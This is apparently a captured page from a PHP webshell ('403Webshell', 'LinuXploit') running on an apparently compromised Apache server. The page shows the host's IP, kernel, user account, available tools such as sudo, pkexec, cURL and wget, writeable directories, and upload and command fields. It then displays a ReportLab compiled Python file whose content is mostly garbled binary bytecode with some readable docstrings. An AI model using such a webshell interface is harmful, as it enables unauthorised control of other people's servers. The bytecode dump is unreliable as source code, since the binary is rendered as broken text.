403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.156
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/reportlab/lib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/reportlab/lib/__pycache__/attrmap.cpython-310.pyc
o

�t�a��@s�dZdZddlmZmZddlmZddlmZGdd�d�Z	Gdd	�d	�Z
Gd
d�de�Zdd
�Z
ddd�Zdd�Zdd�Zddd�ZdS)z3.3.0a�Framework for objects whose assignments are checked. Used by graphics.

We developed reportlab/graphics prior to Python 2 and metaclasses. For the
graphics, we wanted to be able to declare the attributes of a class, check
them on assignment, and convert from string arguments.  Examples of
attrmap-based objects can be found in reportlab/graphics/shapes.  It lets
us defined structures like the one below, which are seen more modern form in
Django models and other frameworks.

We'll probably replace this one day soon, hopefully with no impact on client
code.

class Rect(SolidShape):
    """Rectangle, possibly with rounded corners."""

    _attrMap = AttrMap(BASE=SolidShape,
        x = AttrMapValue(isNumber),
        y = AttrMapValue(isNumber),
        width = AttrMapValue(isNumber),
        height = AttrMapValue(isNumber),
        rx = AttrMapValue(isNumber),
        ry = AttrMapValue(isNumber),
        )


�)�
isAnything�DerivedValue)�isSeq)�	rl_configc@s eZdZdZdd�Zdd�ZdS)�
CallableValuez(a class to allow callable initial valuescOs||_||_||_dS�N��func�args�kw)�selfr	r
r�r
�7/usr/lib/python3/dist-packages/reportlab/lib/attrmap.py�__init__%s
zCallableValue.__init__cCs|j|ji|j��Srr�rr
r
r�__call__+szCallableValue.__call__N)�__name__�
__module__�__qualname__�__doc__rrr
r
r
rr#src@s*eZdZdZd
dd�Zdd�Zdd	�ZdS)�AttrMapValuez,Simple multi-value holder for attribute mapsNrcKs>|pt|_||_||_||_|��D]
\}}t|||�qdSr)r�validate�desc�_initial�_advancedUsage�items�setattr)rrr�initial�
advancedUsager�k�vr
r
rr0s
�zAttrMapValue.__init__cCs6|dkrt|jt�r|��S|jS|dkrdSt|��)Nr�hiddenr)�
isinstancerr�AttributeError)r�namer
r
r�__getattr__8szAttrMapValue.__getattr__cCsdd�dd�|j��D��S)NzAttrMapValue(%s)z, cSsg|]}d|�qS)z%s=%rr
)�.0�ir
r
r�
<listcomp>Bsz)AttrMapValue.__repr__.<locals>.<listcomp>)�join�__dict__rrr
r
r�__repr__AszAttrMapValue.__repr__)NNNr)rrrrrr%r+r
r
r
rr.s

	rc@s.eZdZdgfdd�Zdd�Zgfdd�ZdS)�AttrMapNcKs�i}|r1t|t�r|}n%t|�s|f}|D]}t|d|�}||ur)|r(|�|�qtdt|���t�||�|�	|�|�|�dS)N�_attrMapzBASE=%s has wrong kind of value)
r"r,r�getattr�update�
ValueError�ascii�dictr�remove)r�BASE�UNWANTEDr�data�B�amr
r
rrEs
�
zAttrMap.__init__c	Cs*|D]}z||=WqtyYqwdSr)�KeyError)r�unwantedrr
r
rr3Ws
��zAttrMap.removecKst||d�}|�|�|S)N)r4r5)r,r/)rr5r�cr
r
r�clone^s
z
AttrMap.clone)rrrrr3r<r
r
r
rr,Dsr,cCs�tjr<|j}|r<|ddkr<t|t�rn(z||j}||�s)td|||jjf��Wnt	y;td||jjf��wt
|j|d�}t|t�r\z	|�||�WdSty[YdSw|dkrm|j
��|j
�|�dS||j
|<dS)z validate setattr(obj,name,value)r�_z.Illegal assignment of '%s' to '%s' in class %sz"Illegal attribute '%s' in class %sNr*)r�
shapeCheckingr-r"rrr#�	__class__rr9r.�property�__set__r*�clearr/)�objr$�value�mapr�propr
r
r�validateSetattrcs0

��
�
rGcCsN|j}t|jdd�}|r||ur|��|fS|dfS||ur%|��|_dSdS)zclone obj._attrMap if requiredr-N)r-r.r?r<)rC�ret�A�oAr
r
r�_privateAttrMap�s�rKcCsB|�d�}t|�dkr
dS|dd�D]}t||�}q||dfS)zPLocate the object src.P for P a string, return parent and name of attribute
    �.r)NN���)�split�lenr.)�src�P�pr
r
r�_findObjectAndAttr�s
rSc	CsRt|d�s'|j}ddl}|�|j|f|jgt|dd�tfdd�d��|_dSdS)N�
__attrproxy__r�__setattr__cSs|||||�Srr
)rrr �osa�hookr
r
r�<lambda>�sz!hook__setattr__.<locals>.<lambda>)rTrU)�hasattrr?�new�classobjr�	__bases__r.rW)rC�CrZr
r
r�hook__setattr__�s
�
��r^NcCs�t|d�s	Jd��t|d�\}}t|�s|f}g}g}	|D] }
t|
�r.|
d|
dd�}
}t||
�\}}
|r=t|dd�}qdS)z>
    Add a proxy attribute 'name' to src with targets dst
    r-zsrc object has no _attrMap�rN)rYrKrrSr.)rPr$rrr�dstrIrJ�D�DV�d�erC�attr�dAr
r
r�addProxyAttribute�s��rg)r)NNNN)�__version__r�reportlab.lib.validatorsrr�reportlab.lib.utilsr�	reportlabrrrr2r,rGrKrSr^rgr
r
r
r�<module>s



Youez - 2016 - github.com/yon3zu
LinuXploit